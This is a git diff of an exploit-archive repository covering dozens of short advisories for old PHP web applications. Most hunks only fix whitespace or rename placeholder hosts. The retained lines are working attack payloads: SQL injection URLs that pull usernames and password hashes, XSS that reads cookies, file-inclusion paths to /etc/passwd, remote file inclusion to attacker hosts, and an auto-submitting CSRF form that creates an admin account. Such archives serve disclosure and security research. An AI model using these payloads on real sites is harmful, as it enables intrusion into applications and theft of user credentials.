diff --git a/platforms/php/webapps/30875.txt b/platforms/php/webapps/30875.txt index 799866751..05dfe545e 100755 --- a/platforms/php/webapps/30875.txt +++ b/platforms/php/webapps/30875.txt @@ -5,4 +5,4 @@ E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to s Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/e-xoops/modules/arcade/index.php?act=show_stats&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 -http://www.example.com/e-xoops/modules/arcade/index.php?act=play_game&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file +http://www.example.com/e-xoops/modules/arcade/index.php?act=play_game&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 \ No newline at end of file diff --git a/platforms/php/webapps/30876.txt b/platforms/php/webapps/30876.txt index 838cc959f..589a068a5 100755 --- a/platforms/php/webapps/30876.txt +++ b/platforms/php/webapps/30876.txt @@ -6,4 +6,4 @@ Exploiting these issues can allow attacker-supplied HTML or script code to run i Falcon Series One 1.4.3 stable is vulnerable; other versions may also be affected. -http://www.example.com/sitemap.xml.php?dir[classes]=[Evil_Code] \ No newline at end of file +http://www.example.com/sitemap.xml.php?dir[classes]=[Evil_Code] \ No newline at end of file diff --git a/platforms/php/webapps/30880.txt b/platforms/php/webapps/30880.txt index 3ee938e6a..01dae72a2 100755 --- a/platforms/php/webapps/30880.txt +++ b/platforms/php/webapps/30880.txt @@ -6,4 +6,4 @@ A successful exploit of these vulnerabilities could allow an attacker to comprom Bitweaver 2.0.0 and prior versions are vulnerable to these issues. -http://www.example.com/search/index.php?tk=316dccdfb62a3cad613e&highlight=[SQL_INJECTION]=&search=go \ No newline at end of file +http://www.example.com/search/index.php?tk=316dccdfb62a3cad613e&highlight=[SQL_INJECTION]=&search=go \ No newline at end of file diff --git a/platforms/php/webapps/30881.txt b/platforms/php/webapps/30881.txt index 4f9cd7e0a..eabd91c77 100755 --- a/platforms/php/webapps/30881.txt +++ b/platforms/php/webapps/30881.txt @@ -4,4 +4,4 @@ Dance Music is prone to a local file-include vulnerability because it fails to p Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. -http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30886.txt b/platforms/php/webapps/30886.txt index 9be2ed442..9ef39c4dc 100755 --- a/platforms/php/webapps/30886.txt +++ b/platforms/php/webapps/30886.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects MKPortal M1.1 RC1; other versions may also be vulnerable. -http://www.example.com/index.php?ind=gallery&op=foto_show&ida=(sql) \ No newline at end of file +http://www.example.com/index.php?ind=gallery&op=foto_show&ida=(sql) \ No newline at end of file diff --git a/platforms/php/webapps/30887.txt b/platforms/php/webapps/30887.txt index c414bf352..c5cb75d4f 100755 --- a/platforms/php/webapps/30887.txt +++ b/platforms/php/webapps/30887.txt @@ -8,4 +8,4 @@ http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\\..\\admin\\.ht The following example was provided in cases where the PHP 'magic_quotes_gpc' directive is enabled: -http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\..\admin\.htaccess \ No newline at end of file +http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\..\admin\.htaccess \ No newline at end of file diff --git a/platforms/php/webapps/30888.txt b/platforms/php/webapps/30888.txt index 3a09e9057..1b7520576 100755 --- a/platforms/php/webapps/30888.txt +++ b/platforms/php/webapps/30888.txt @@ -9,4 +9,4 @@ Exploiting these issues may allow an unauthorized user to steal sessions, access This issue affects phpRPG 0.8.0; other versions may also be affected. -http://www.example.com/phpRPG-0.8.0/tmp/ \ No newline at end of file +http://www.example.com/phpRPG-0.8.0/tmp/ \ No newline at end of file diff --git a/platforms/php/webapps/30889.txt b/platforms/php/webapps/30889.txt index 85762c7eb..08ba36696 100755 --- a/platforms/php/webapps/30889.txt +++ b/platforms/php/webapps/30889.txt @@ -6,4 +6,4 @@ This issue affects WordPress 2.3.1; other versions may also be affected. NOTE: This BID is being reinstated because further investigation reveals that the application is vulnerable. The exploit URI supplied in the initial report was not sufficient to trigger the issue, which led to the vulnerability claim being refuted. However, follow-up information from the reporter included a URI that does trigger the issue. -http://www.example.com/wordpress/index.php/wp-admin/ \ No newline at end of file +http://www.example.com/wordpress/index.php/wp-admin/ \ No newline at end of file diff --git a/platforms/php/webapps/30890.txt b/platforms/php/webapps/30890.txt index 8d146acee..e4415a19f 100755 --- a/platforms/php/webapps/30890.txt +++ b/platforms/php/webapps/30890.txt @@ -7,4 +7,4 @@ Exploiting these issues may allow an attacker to compromise the application and These issues affect Form Tools 1.5.0b; other versions may also be vulnerable. http://www.example.com/global/templates/admin_page_open.php?g_root_dir=http://www.example2.com -http://www.example.com/global/templates/client_page_open.php?g_root_dir=http://www.example2.com \ No newline at end of file +http://www.example.com/global/templates/client_page_open.php?g_root_dir=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/30891.txt b/platforms/php/webapps/30891.txt index ff4b0b7e2..34aa0dc8b 100755 --- a/platforms/php/webapps/30891.txt +++ b/platforms/php/webapps/30891.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect Flyspray 0.9.9 - 0.9.9.3. http://www.example.com/index.php?do=index&dummy=dummy');alert('XSS');void(' -http://www.example.com/index.php?do=details&task_id=1174&details=');alert('XSS \ No newline at end of file +http://www.example.com/index.php?do=details&task_id=1174&details=');alert('XSS \ No newline at end of file diff --git a/platforms/php/webapps/30893.txt b/platforms/php/webapps/30893.txt index 9ae4ce18b..1dbe00bb4 100755 --- a/platforms/php/webapps/30893.txt +++ b/platforms/php/webapps/30893.txt @@ -16,4 +16,4 @@ Content-Type: application/x-www-form-urlencoded\r\n Content-Length: <SIZE>\r\n\r\n username=8%27+union+select+CHR%2856%29%2CCHR%2857%29%2CCHR%2857%29%2CCHR%2857%29+FROM+psf_administrator-----------&password=9&page=authentification&button=Log+in\r\n\r\n -SQL-query: select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administrator-----------' \ No newline at end of file +SQL-query: select * from psf_administrator WHERE username='8\\\\\\\\\\\\\\\'union select CHR(56),CHR(57),CHR(57),CHR(57) FROM psf_administrator-----------' \ No newline at end of file diff --git a/platforms/php/webapps/30899.txt b/platforms/php/webapps/30899.txt index 5886251fd..21a9ac115 100755 --- a/platforms/php/webapps/30899.txt +++ b/platforms/php/webapps/30899.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Mambo 4.6.2 is vulnerable; other versions may also be affected. -http://localhost/mambo/http://localhost/index.php?option=com_frontpage&Itemid=>"><script>alert("XSS%20Successful")</script> http://localhost/index.php?option=>"><script>alert("XSS%20Successful")</script>&Itemid=1 \ No newline at end of file +http://localhost/mambo/http://localhost/index.php?option=com_frontpage&Itemid=>"><script>alert("XSS%20Successful")</script> http://localhost/index.php?option=>"><script>alert("XSS%20Successful")</script>&Itemid=1 \ No newline at end of file diff --git a/platforms/php/webapps/3090.txt b/platforms/php/webapps/3090.txt index cf841b540..6b4dd2fac 100755 --- a/platforms/php/webapps/3090.txt +++ b/platforms/php/webapps/3090.txt @@ -22,8 +22,8 @@ require("$special_admin_path/config/nune.conf.php"); 3xplo!t: -server/[script]/index.php?custom_admin_path=http://evilscript? -server/[script]/archives.php?custom_admin_path=http://evilscript? +www.target.com/[script]/index.php?custom_admin_path=http://evilscript? +www.target.com/[script]/archives.php?custom_admin_path=http://evilscript? ----------------------------------------------- diff --git a/platforms/php/webapps/30909.html b/platforms/php/webapps/30909.html index 9f2490db6..f90aba609 100755 --- a/platforms/php/webapps/30909.html +++ b/platforms/php/webapps/30909.html @@ -20,7 +20,7 @@ Cross Site Request Forgery <html> <body onload="document.form0.submit();"> <form method="POST" name="form0" action=" -http://www.server/index.php?controller=AdminUsers&action=create"> +http://www.site.com/index.php?controller=AdminUsers&action=create"> <input type="hidden" name="user_create" value="1"/> <input type="hidden" name="Full_name" value="Iphobos"/> <input type="hidden" name="username" value="Admin"/> diff --git a/platforms/php/webapps/3091.php b/platforms/php/webapps/3091.php index 2a06c37fe..f792c0ab8 100755 --- a/platforms/php/webapps/3091.php +++ b/platforms/php/webapps/3091.php @@ -43,8 +43,8 @@ Options: -p[port]: specify a port (default 80) -P[ip:port]: specify a proxy:port Example: - '.$argv[0].' -type www.l2jserver / ls -la -P1.1.1.1:80 - '.$argv[0].' -type www.gamingserver /lineage2/ dir + '.$argv[0].' -type www.l2jserver.com / ls -la -P1.1.1.1:80 + '.$argv[0].' -type www.gamingsite.com /lineage2/ dir ----------------------------------------------------------------------------- '); diff --git a/platforms/php/webapps/30912.txt b/platforms/php/webapps/30912.txt index 2cff70da8..09eeb773d 100755 --- a/platforms/php/webapps/30912.txt +++ b/platforms/php/webapps/30912.txt @@ -37,9 +37,9 @@ value="<script>alert(document.cookie);</script>"/> II. Non-Persistent XSS -www.server/index.php?controller=AdminBookings&action=index&p_date=XSS +www.site.com/index.php?controller=AdminBookings&action=index&p_date=XSS -www.server/index.php?controller=AdminBookings&action=index&p_date= +www.site.com/index.php?controller=AdminBookings&action=index&p_date= "><script>alert(document.cookie);</script>"/> diff --git a/platforms/php/webapps/30913.txt b/platforms/php/webapps/30913.txt index 045eaca98..2ba6ac76f 100755 --- a/platforms/php/webapps/30913.txt +++ b/platforms/php/webapps/30913.txt @@ -14,17 +14,17 @@ Event Booking Calendar V2.0 - Multiple Vulnerabilities [1] multiple Blind Ijection ============================ -www.server/script/load-calendar.php?view=1&month=6&year=2013&cid=1[inject] -www.server/script/load-calendar.php?cid=1[inject] +www.site.com/script/load-calendar.php?view=1&month=6&year=2013&cid=1[inject] +www.site.com/script/load-calendar.php?cid=1[inject] -www.server/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+1=1 +www.site.com/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+1=1 >>True -www.server/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+1=2 +www.site.com/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+1=2 >>False -www.server/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+substring(@@version,1,1)=5 +www.site.com/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+substring(@@version,1,1)=5 >>True -www.server/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+substring(@@version,1,1)=4 +www.site.com/script/load-calendar.php?view=1&month=6&year=2013&cid=1+and+substring(@@version,1,1)=4 >>False diff --git a/platforms/php/webapps/30918.txt b/platforms/php/webapps/30918.txt index 8efe15dfd..077afc58b 100755 --- a/platforms/php/webapps/30918.txt +++ b/platforms/php/webapps/30918.txt @@ -9,4 +9,4 @@ This issue affects iSupport 1.8; other versions may also be affected. http://www.example.com/iSupport/index.php?include_file=[local file] http://www.example.com/helpdesk/index.php?include_file=../../../../../proc/self/environ -http://www.example.com/helpdesk/index.php?include_file=../../../../../etc/passwd \ No newline at end of file +http://www.example.com/helpdesk/index.php?include_file=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30921.txt b/platforms/php/webapps/30921.txt index 3721d49a2..5d5bfc8ea 100755 --- a/platforms/php/webapps/30921.txt +++ b/platforms/php/webapps/30921.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue was previously documented as a vulnerability in Moodle. Further reports indicate this issue affects MRBS, and the MRBS module for Moodle. -http://www.example.com/PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007 \ No newline at end of file +http://www.example.com/PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007 \ No newline at end of file diff --git a/platforms/php/webapps/30923.txt b/platforms/php/webapps/30923.txt index a3d3bff2d..e7af804c4 100755 --- a/platforms/php/webapps/30923.txt +++ b/platforms/php/webapps/30923.txt @@ -4,4 +4,4 @@ MyBlog is prone to a remote file-include vulnerability because it fails to suffi Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/[path]/games.php?id=[Sh3ll-Script] \ No newline at end of file +http://www.example.com/[path]/games.php?id=[Sh3ll-Script] \ No newline at end of file diff --git a/platforms/php/webapps/30931.txt b/platforms/php/webapps/30931.txt index 561a8253c..946e69f93 100755 --- a/platforms/php/webapps/30931.txt +++ b/platforms/php/webapps/30931.txt @@ -4,4 +4,4 @@ Logaholic is prone to multiple input-validation vulnerabilities, including multi Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?conf=<img+src=http://testingserver/yep.gif+onload=alert(812051443)> \ No newline at end of file +http://www.example.com/index.php?conf=<img+src=http://testingsite.com/yep.gif+onload=alert(812051443)> \ No newline at end of file diff --git a/platforms/php/webapps/30937.txt b/platforms/php/webapps/30937.txt index d03116941..f51a84228 100755 --- a/platforms/php/webapps/30937.txt +++ b/platforms/php/webapps/30937.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Limbo CMS 1.0.4.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?com_option=>"'><SCRIPT>a=/XSS/;alert(a.source)</SCRIPT> \ No newline at end of file +http://www.example.com/admin.php?com_option=>"'><SCRIPT>a=/XSS/;alert(a.source)</SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/30945.txt b/platforms/php/webapps/30945.txt index 816dee3ce..d02abb7e5 100755 --- a/platforms/php/webapps/30945.txt +++ b/platforms/php/webapps/30945.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow All versions of FaqMasterFlexPlus are considered vulnerable. -http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS] \ No newline at end of file +http://www.example.com/[path/to/faq/]/faq.php?category_id=1&cat_name=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30947.txt b/platforms/php/webapps/30947.txt index 0fef19983..b617d873b 100755 --- a/platforms/php/webapps/30947.txt +++ b/platforms/php/webapps/30947.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc All versions of FaqMasterFlexPlus are considered vulnerable. http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,user(),1/* -http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin \ No newline at end of file +http://www.example.com/[path/to/faq]/faq.php?category_id=1'%20union%20select%201,1,passwrd,1%20from%20users%20where%20userid='admin \ No newline at end of file diff --git a/platforms/php/webapps/30957.txt b/platforms/php/webapps/30957.txt index 77f5946b9..30690466b 100755 --- a/platforms/php/webapps/30957.txt +++ b/platforms/php/webapps/30957.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHCDownload 1.1.0 is vulnerable; other versions may also be affected. -http://www.example.com/[phcdownload/search.php?string=' \ No newline at end of file +http://www.example.com/[phcdownload/search.php?string=' \ No newline at end of file diff --git a/platforms/php/webapps/30959.txt b/platforms/php/webapps/30959.txt index dda5c69e1..481d42adc 100755 --- a/platforms/php/webapps/30959.txt +++ b/platforms/php/webapps/30959.txt @@ -4,4 +4,4 @@ Makale Scripti is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://server/script_path/Ara/?ara= "><script>alert("g3");</script> \ No newline at end of file +http://site.com/script_path/Ara/?ara= "><script>alert("g3");</script> \ No newline at end of file diff --git a/platforms/php/webapps/30961.txt b/platforms/php/webapps/30961.txt index 73a591279..75002d493 100755 --- a/platforms/php/webapps/30961.txt +++ b/platforms/php/webapps/30961.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects Kontakt Formular 1.4; other versions may be vulnerable as well. -http://www.example.com/[path]/includes/function.php?root_path=[Shellcode] \ No newline at end of file +http://www.example.com/[path]/includes/function.php?root_path=[Shellcode] \ No newline at end of file diff --git a/platforms/php/webapps/30962.txt b/platforms/php/webapps/30962.txt index f2105ba38..dea2e67a6 100755 --- a/platforms/php/webapps/30962.txt +++ b/platforms/php/webapps/30962.txt @@ -4,4 +4,4 @@ MilliScripts is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/PATH/dir.php?do=browse&cat=[XSS] \ No newline at end of file +http://www.example.com/PATH/dir.php?do=browse&cat=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30967.txt b/platforms/php/webapps/30967.txt index c396dff0b..631ec651d 100755 --- a/platforms/php/webapps/30967.txt +++ b/platforms/php/webapps/30967.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. -http://www.example.com/user/remindComplete?email=XSS \ No newline at end of file +http://www.example.com/user/remindComplete?email=XSS \ No newline at end of file diff --git a/platforms/php/webapps/30968.txt b/platforms/php/webapps/30968.txt index 517693f36..ffe4a1864 100755 --- a/platforms/php/webapps/30968.txt +++ b/platforms/php/webapps/30968.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to retrieve arbitrary files from the MODx 0.9.6.1 is vulnerable; other versions may also be affected. -http://www.example.com/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc \ No newline at end of file +http://www.example.com/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc \ No newline at end of file diff --git a/platforms/php/webapps/30969.txt b/platforms/php/webapps/30969.txt index 73c3f8ad2..b0441b881 100755 --- a/platforms/php/webapps/30969.txt +++ b/platforms/php/webapps/30969.txt @@ -9,4 +9,4 @@ MODx 0.9.6.1 is vulnerable to this issue; other versions may also be affected. Method=POST Action=http://www.example.com/modx-0.9.6.1/index-ajax.php? Name=as_language Value=../ajaxSearch_readme.txt%00 -Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php \ No newline at end of file +Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php \ No newline at end of file diff --git a/platforms/php/webapps/3097.txt b/platforms/php/webapps/3097.txt index 66c1f70b9..1fba479b9 100755 --- a/platforms/php/webapps/3097.txt +++ b/platforms/php/webapps/3097.txt @@ -1,4 +1,4 @@ -AllMyVisitors 0.4.0 File Inclusion Vulnerability + AllMyVisitors 0.4.0 File Inclusion Vulnerability diff --git a/platforms/php/webapps/30976.txt b/platforms/php/webapps/30976.txt index 977732678..f947ccd5d 100755 --- a/platforms/php/webapps/30976.txt +++ b/platforms/php/webapps/30976.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a MyPHP Forum 3.0 is vulnerable; other versions may also be affected. -submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*" \ No newline at end of file +submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*" \ No newline at end of file diff --git a/platforms/php/webapps/30982.html b/platforms/php/webapps/30982.html index 9cc2f4368..fed788a53 100755 --- a/platforms/php/webapps/30982.html +++ b/platforms/php/webapps/30982.html @@ -6,4 +6,4 @@ Attackers can exploit this issue in conjunction with other weaknesses in the app Nucleus CMS 3.01 is vulnerable; other versions may also be affected. -<html> <head> <title>MoBiC-20 Bonus: another Nucleus CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/action.php" method="post"> <input type="hidden" name="action" value="addcomment" /> <input type="hidden" name="code" value="1" /> <input type="hidden" name="url" value="index.php?itemid=1" /> <input type="hidden" name="itemid" value="1" /> <input type="hidden" name="body" value="Captcha bypass test." /> <input type="hidden" name="myid" value="-1 union select 1,1,1 from nucleus_blog" /> <input type="hidden" name="remember" value="0" /> <input type="hidden" name="conf" value="1" /> </form> </body> </html> \ No newline at end of file +<html> <head> <title>MoBiC-20 Bonus: another Nucleus CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://site/action.php" method="post"> <input type="hidden" name="action" value="addcomment" /> <input type="hidden" name="code" value="1" /> <input type="hidden" name="url" value="index.php?itemid=1" /> <input type="hidden" name="itemid" value="1" /> <input type="hidden" name="body" value="Captcha bypass test." /> <input type="hidden" name="myid" value="-1 union select 1,1,1 from nucleus_blog" /> <input type="hidden" name="remember" value="0" /> <input type="hidden" name="conf" value="1" /> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/30983.txt b/platforms/php/webapps/30983.txt index 44f882ef1..ab9b94ee1 100755 --- a/platforms/php/webapps/30983.txt +++ b/platforms/php/webapps/30983.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br ExpressionEngine 1.2.1 is vulnerable to these issues; other versions may also be affected. -http://www.example.com/index.php?URL=%0AContent-Type:html%0A%0A%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?URL=%0AContent-Type:html%0A%0A%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30984.txt b/platforms/php/webapps/30984.txt index 80280f27a..abe41c3ed 100755 --- a/platforms/php/webapps/30984.txt +++ b/platforms/php/webapps/30984.txt @@ -9,4 +9,4 @@ These issues affect eTicket 1.5.6-RC3, 1.5.6-RC2, 1.5.5.2; other versions may al The following proof-of-concept examples are available: For eTicket 1.5.6-RC3: Create a ticket with the subject <SCRIPT>a=/XSS/;alert(a.source)</SCRIPT> -For eTicket 1.5.6-RC2: Create a ticket with the subject <script>alert(123)</script> \ No newline at end of file +For eTicket 1.5.6-RC2: Create a ticket with the subject <script>alert(123)</script> \ No newline at end of file diff --git a/platforms/php/webapps/30987.txt b/platforms/php/webapps/30987.txt index 6a3366820..656ef17c6 100755 --- a/platforms/php/webapps/30987.txt +++ b/platforms/php/webapps/30987.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code on an affec This issue affects netRisk 1.9.7; other versions may also be affected. -http://www.example.com/Path/index.php?path=[SHELL] \ No newline at end of file +http://www.example.com/Path/index.php?path=[SHELL] \ No newline at end of file diff --git a/platforms/php/webapps/30988.txt b/platforms/php/webapps/30988.txt index 2154a4f0c..7bf8ff4ca 100755 --- a/platforms/php/webapps/30988.txt +++ b/platforms/php/webapps/30988.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect Rotabanner Local 2 and 3; other versions may also be affected. -http://www.example.com/account/index.html?user=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/account/index.html?drop=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/account/index.html?user=%3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/account/index.html?drop=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/31000.txt b/platforms/php/webapps/31000.txt index c1341f078..77a0c9984 100755 --- a/platforms/php/webapps/31000.txt +++ b/platforms/php/webapps/31000.txt @@ -4,4 +4,4 @@ SysHotel On Line System is prone to a local file-include vulnerability because i An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. -http://www.example.com/index.php?file==%2Fetc%2Fpasswd \ No newline at end of file +http://www.example.com/index.php?file==%2Fetc%2Fpasswd \ No newline at end of file diff --git a/platforms/php/webapps/31001.txt b/platforms/php/webapps/31001.txt index 125a2e8e6..4e1c8579d 100755 --- a/platforms/php/webapps/31001.txt +++ b/platforms/php/webapps/31001.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects IceWarp Mail Server 9.1.1 for Windows; other versions may also be affected. -http://www.example.com:32000/admin/index.html?message=<script src="your-js.js"></script> \ No newline at end of file +http://www.example.com:32000/admin/index.html?message=<script src="your-js.js"></script> \ No newline at end of file diff --git a/platforms/php/webapps/31003.txt b/platforms/php/webapps/31003.txt index fa663633a..d5d635a03 100755 --- a/platforms/php/webapps/31003.txt +++ b/platforms/php/webapps/31003.txt @@ -10,4 +10,4 @@ Cookiename: OMEGALogon value:[MANDATOR]%7C[CUSTOMERNUMBER]%7C[USERID]%7C%7CArial%7CArial%7C%2D%2D%2D%2D%2D%2D%7C[SURNAME]%2C+[NAME]%7C%7C%7C[LASTLOGINTIME]%7C Cookiename: OMEGA[MANDATOR] -value: [USERID]%7C[CUSTOMERNUMBER]%7[HOST]%7C[DATE]%7C \ No newline at end of file +value: [USERID]%7C[CUSTOMERNUMBER]%7[HOST]%7C[DATE]%7C \ No newline at end of file diff --git a/platforms/php/webapps/31008.txt b/platforms/php/webapps/31008.txt index 917f6bb78..357e13e5c 100755 --- a/platforms/php/webapps/31008.txt +++ b/platforms/php/webapps/31008.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br The issues affect SMF 1.1.4; other versions of SMF and Joomla-SMF may also be vulnerable. http://www.example.com/component/option,com_smf/Itemid,8'XSS,1/topic,1.0/ -http://www.example.com/component/option,com_smf/Itemid,5/topic,1.XSS/ \ No newline at end of file +http://www.example.com/component/option,com_smf/Itemid,5/topic,1.XSS/ \ No newline at end of file diff --git a/platforms/php/webapps/31009.txt b/platforms/php/webapps/31009.txt index e69810fc2..ad8756b29 100755 --- a/platforms/php/webapps/31009.txt +++ b/platforms/php/webapps/31009.txt @@ -5,4 +5,4 @@ ID-Commerce is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/liste.php?idFamille=1%20or%201=1# -http://www.example.com/liste.php?idFamille=1%20or%201=0# \ No newline at end of file +http://www.example.com/liste.php?idFamille=1%20or%201=0# \ No newline at end of file diff --git a/platforms/php/webapps/31011.txt b/platforms/php/webapps/31011.txt index 4e94d6ad1..e77c54167 100755 --- a/platforms/php/webapps/31011.txt +++ b/platforms/php/webapps/31011.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin This issue affects Members Area System 1.7; other versions are also likely affected. -http://www.example.com/view_func.php?i=http://www.example2.com/justsomedir/&l=testfile.txt? \ No newline at end of file +http://www.example.com/view_func.php?i=http://www.example2.com/justsomedir/&l=testfile.txt? \ No newline at end of file diff --git a/platforms/php/webapps/31022.txt b/platforms/php/webapps/31022.txt index eac102701..9d9a17e13 100755 --- a/platforms/php/webapps/31022.txt +++ b/platforms/php/webapps/31022.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects versions prior to PHP Running Management 1.0.3. -http://www.example.com/index.php?message=%3Cscript%3Edocument.writeln(123)%3C/script%3E%20 \ No newline at end of file +http://www.example.com/index.php?message=%3Cscript%3Edocument.writeln(123)%3C/script%3E%20 \ No newline at end of file diff --git a/platforms/php/webapps/31028.txt b/platforms/php/webapps/31028.txt index ab7fefbd2..335f011e6 100755 --- a/platforms/php/webapps/31028.txt +++ b/platforms/php/webapps/31028.txt @@ -4,4 +4,4 @@ Article Dashboard is prone to multiple SQL-injection vulnerabilities because the A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/admin/login.php?user=admin'-- | /* \ No newline at end of file +http://www.example.com/admin/login.php?user=admin'-- | /* \ No newline at end of file diff --git a/platforms/php/webapps/31034.txt b/platforms/php/webapps/31034.txt index c6108a67d..0f14ae5d0 100755 --- a/platforms/php/webapps/31034.txt +++ b/platforms/php/webapps/31034.txt @@ -8,4 +8,4 @@ Versions prior to MyBB 1.2.11 are vulnerable. http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2 http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'+UNION+SELECT+waraxe--+ -http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads&moveto=2&threads=war|axe \ No newline at end of file +http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads&moveto=2&threads=war|axe \ No newline at end of file diff --git a/platforms/php/webapps/31044.txt 